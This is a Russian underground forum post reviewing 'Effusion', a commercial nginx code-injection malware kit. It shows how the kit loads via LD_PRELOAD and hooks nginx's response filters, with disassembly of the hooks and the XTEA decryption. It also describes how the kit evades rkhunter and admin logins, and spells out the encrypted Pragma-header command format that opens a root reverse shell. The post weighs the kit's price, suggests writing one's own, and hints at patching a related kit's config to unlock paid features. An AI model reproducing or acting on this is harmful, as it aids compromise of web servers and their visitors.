Введение
Привет всем! На связи капитан Краббс (не путать с кребсом =) ). Сегодня мы обратим наш взор на продукт, который появился совсем недавно и служит для инжектов кода в ответы nginx-а. Название нашего подопытного - Effusion. Вообще, забегая вперед хочу сказать, что все заявленные автором возможности присутствуют, однако есть пару фич, которые автор почему-то не указал в описании.
Что представляет собой
Результат работы билдера представляет собой so (libnginx.so) который грузится в АП nginx-а через технику LD_PRELOAD (Билдер модифицирует /etc/init.d/nginx).
Вот кусок скрипта, который грузит эту so:
Код:
LD_PRELOAD=/usr/lib/libnginx.so /usr/sbin/nginx
Техника LD_PRELOAD позволяет грузануть SO в АП процесса до загрузки самого процесса, то есть на очень раннем этапе. Также эта техника позволяет легко и непринужденно угнать нужные функи из процесса, в АП которого грузится этот so.
Данный продук при помощи LD_PRELOAD угоняет только одну функу - setsid, и в этой функе происходит одна часть инициализации (расшифрование конфига, форк процесса, получение адресов функций для работы с gzip и т.д.). Вторая часть инициализации so-шника проиcходит в функе init_proc (хуки).
Хуки
Хуки в nginx ставятся путем подмены адресов в структурах и глобальных переменных nginx-а. Но в начале я хочу сказать пару слов о том как работает NGINX. Итак, нам пришел запрос - он обрабатывается handler-ом (один из модулей), который собственно и генерит тело и заголовки ответа. Handler может быть только один, например, движок php. Далее запрос с ответом проходят через цепочку filters, которая представляет собой список, указатель на вершину которого а также на текущие обработчики хранится в глобальной переменной. Каждый фильтр описывается структурой, в которой в том числе есть указатель на функу инициализации фильтра. Фильтры допольнительно обрабытывают ответ сервера перед отправкой его клиенту. Пример работы фильтра - сжатие ответа при помощи gzip.
В процессе выполнения функи init_proc подменяется адрес функи ngx_http_copy_filter_init из структуры, которая описывает модуль http_copy_filter. Адрес памяти в nginx, по которому надо производить замену захардкожен в so и по всей видимости ищется билдером в АП запущенного nginx и пишется в libnginx.so. Далее в процессе работы замененной функи заменяются адреса переменных
ngx_top_body_filter
ngx_top_head_filter
то есть libnginx.so вставляет свои обработчики в цепочку фильтров nginx-а, через которую проходит ответ перед отправкой данных пользователю. Эти обработчики и делают всю грязкую работу по анализу HTTP-заголовков и внедрению кода в ответ сервера.
Код init_proc:
Код:
public _init_proc
_init_proc proc near
mov rax, cs:pointer_to_ngx_http_copy_filter_init
mov rdx, [rax]
test rdx, rdx
mov cs:old_address_ngx_http_copy_filter_init, rdx
jz short proc_exit
lea rdx, hook_ngx_http_copy_filter_init
mov [rax], rdx
proc_exit:
retn
_init_proc endp
Код хука hook_ngx_http_copy_filter_init:
Код:
hook_ngx_http_copy_filter_init proc near
var_2018 = byte ptr -2018h
push rbp
mov rbp, rdi
push rbx
sub rsp, 2008h
; ...
; тут опущены всякие проверки
; ...
mov rcx, cs:address_of_ngx_http_top_header_filter
mov rdx, cs:address_of_ngx_http_top_body_filter
mov rsi, [rcx]
mov cs:storage_for_ngx_http_top_header_filter_address, rsi
mov rsi, [rdx]
mov cs:storage_for_ngx_http_top_body_filter_address, rsi
lea rsi, new_ngx_http_top_header_filter
mov [rcx], rsi
lea rcx, new_ngx_http_top_body_filter
mov [rdx], rcx
exit:
add rsp, 2008h
pop rbx
pop rbp
retn
hook_ngx_http_copy_filter_init endp
Внедрение кода
В процессе внедрения кода проходит череда проверок:
1. Content-Length != 0
2. тип запроса "GET"
3. нет ли подстрок admin и тд
4. не внедрялся ли код уже для этого IP адреса
5. не находится ли IP в блеклисте
6. не поставлены ли инжекты на паузу
7. проверка User-Agent, Content-Type и Referer
2. тип запроса "GET"
3. нет ли подстрок admin и тд
4. не внедрялся ли код уже для этого IP адреса
5. не находится ли IP в блеклисте
6. не поставлены ли инжекты на паузу
7. проверка User-Agent, Content-Type и Referer
Продвинутый чек рута и мониторинг процессов
После старта процесс форкается в подмененной функе setsid и один из процессов мониторит запущенные процессы и чекает активность рута в системе. Мониторинг запущенных процессов осуществляется путем чтения диры /proc/ и далее чека командной строки каждого процесса на присутсвие имен, определенных в конфиге (у меня в конфиге был только rkhunter). Толком сложного ничего нет. На мой взгляд не самый лучший способ за 2,5k$ могли бы придумать что-нибудь по лучше. Грамотный админ просто переименует rkhunter в trololo.exe, что запросто обломает такой мониторинг.
Чек рута происходит по похожей схеме. Сначала читается /proc/ затем для каждого процесса читается /proc/%d/status и ищутся процессы с UID равным 0. После для этого списка получаются дескрипторы открытых файлов путем чтения /proc/%d/fd, далее в дескрипторах открытых файлов ищется строка pts. Для каждого найденно файла чекается время последнего изменения при помощи функи lstat. После берется разница времени последнего изменения такого файла и текущего времени в системе и сравнивается со значением из конфига и на основании этого принимается решение есть рут или нет. Не знаю насколько продвинутой считается такая техника, но кажется это лучше чем парсинг "/var/run/utmp" (привет дарклич), хотя не уверен и дополнительных тестов не проводил. В обещем если кто разбирается, то прокомментируйте этот момент.
Удаленное управление
Для удаленного управления есть всего 5 типов команд. При помощи этих команд можно:
- обновить конфигурацию,
- поставить инжекты на паузу,
- возобновить инжекты,
- получить статус effusion-a
- сделаеть бекконнект к IP:порт и организовать удаленный шелл с правами рута.
Обновленная конфигурация хранится только в оперативе и не дампится на винт, то есть при перезапуске сервака все изменения пропадут.
Так как конфиг пушится и работа ведется с серваками (нет проблем с натом) то C&C как такового нет.
Для того, чтобы запрос обработался как управляющий, в запросе должен присутствовать заголовок "Pragma", значение которого является командой в зашифрованном виде. Это гуд так как заголовки не логгируются и выпалить по логам присутствие в системе effusion-a крайне сложно.
Так, например, сделать бекконнект можно запросом, в котором заголовок Pragma имеет значение:
BASE64_ENCODE(XTEA_ECB_ENCRYPT(key, 0xDEADBEEF||0x10005)||IP_addr||Port)
BASE64_ENCODE - это кодирование base64
XTEA_ECB_ENCRYPT - это шифрование при помощи алгоритма XTEA (11 раундов) в режиме ECB
0x10005 - собственно команда (команды вообще от 0x10001 до 0x10005)
Шифрование
Вообще начальный конфиг и строки libnginx.so зашифрованы при помощи алгоритма XTEA (11 раундов) в режиме ECB. В продукте производится робкая попытка спрятать шифрованный текст добавив перед ним до 256 байт треша. На начало нормального шифрованного текста указывает первый байт ключа шифрования. Ключик шифрования хранится в сегменте данных в открытом виде.
Код функи расшифрования блока в 8 байт (rdi - адрес шифрованного блока, rsi - адрес ключа):
Код:
decrypt_block proc near
mov ecx, [rdi]
mov edx, [rdi+4]
mov eax, 0CC623AF3h
mov r8d, eax
mov r9d, ecx
mov r10d, ecx
shr r8d, 11
shl r10d, 4
shr r9d, 5
and r8d, 11b
xor r9d, r10d
mov r8d, [rsi+r8*4]
add r9d, ecx
add r8d, eax
add eax, 61C88647h
xor r8d, r9d
sub edx, r8d
mov r8, rax
and r8d, 3
mov r9d, edx
mov r10d, edx
mov r8d, [rsi+r8*4]
shr r9d, 5
shl r10d, 4
xor r9d, r10d
add r9d, edx
add r8d, eax
xor r8d, r9d
sub ecx, r8d
test eax, eax
jnz short loc_1B02
mov [rdi], ecx
mov [rdi+4], edx
retn
decrypt_block endp
Конфигурация
Тут помимо вещей, перечисленных автором хранится пара интересных значений, которые автор почему-то не упомянул. Первое - это время "молчания" - время, после которого код не будет внедряться в HTTP-ответы. Второе - флаг который напрочь отключает возможность удаленного управления - то есть если установлен этот флаг, то effusion не будет реагировать на удаленные команды. Возможно автор хотел сделать 2 версии продукта как и в случае Trololo_mod, которые отличались бы только наличием фукнции удаленного управления. Билдер один и тот же а билды отличаются только этим флагом. Время "молчания" в конфиге тоже наверное было предназначено для каких-то маркетинговых целей типа сдачи продукта в аренду.
Тут надеюсь нам подскажет сам автор =)
Кстати в этом направлении можно и нужно поисследовать и Trololo, вполне возможно, что таким образом можно использовать версию с удаленным управлением, заплатив только за базовую версию и слегка поправив ее конфиг (хотя человек, который на такое способен, скорее напишет свой трололо =)) ).
В целом
В целом внутренности как две капли воды похожи на Trololo (кое где даже виден копи-паст), только в данном случае все несомненно дороже (коммерс как-никак). Вообще если руки прямые и растут из нужного места, то подобный эффюжн можно запросто написать самому. Стоит ли оно 2,5к$ - решать конечно тебе.
[mod][Ar3s:] p.s. мопед не мой я просто разместил объяву.
[15:23:12] <null> опубликуй плз от себя, я на дамаге не зареган
[15:23:52] <null> где и какой хайд поставить - решай сам, но мне кажется что хайд однозначно нужен, но тут уже на твое усмотрениеа[/mod]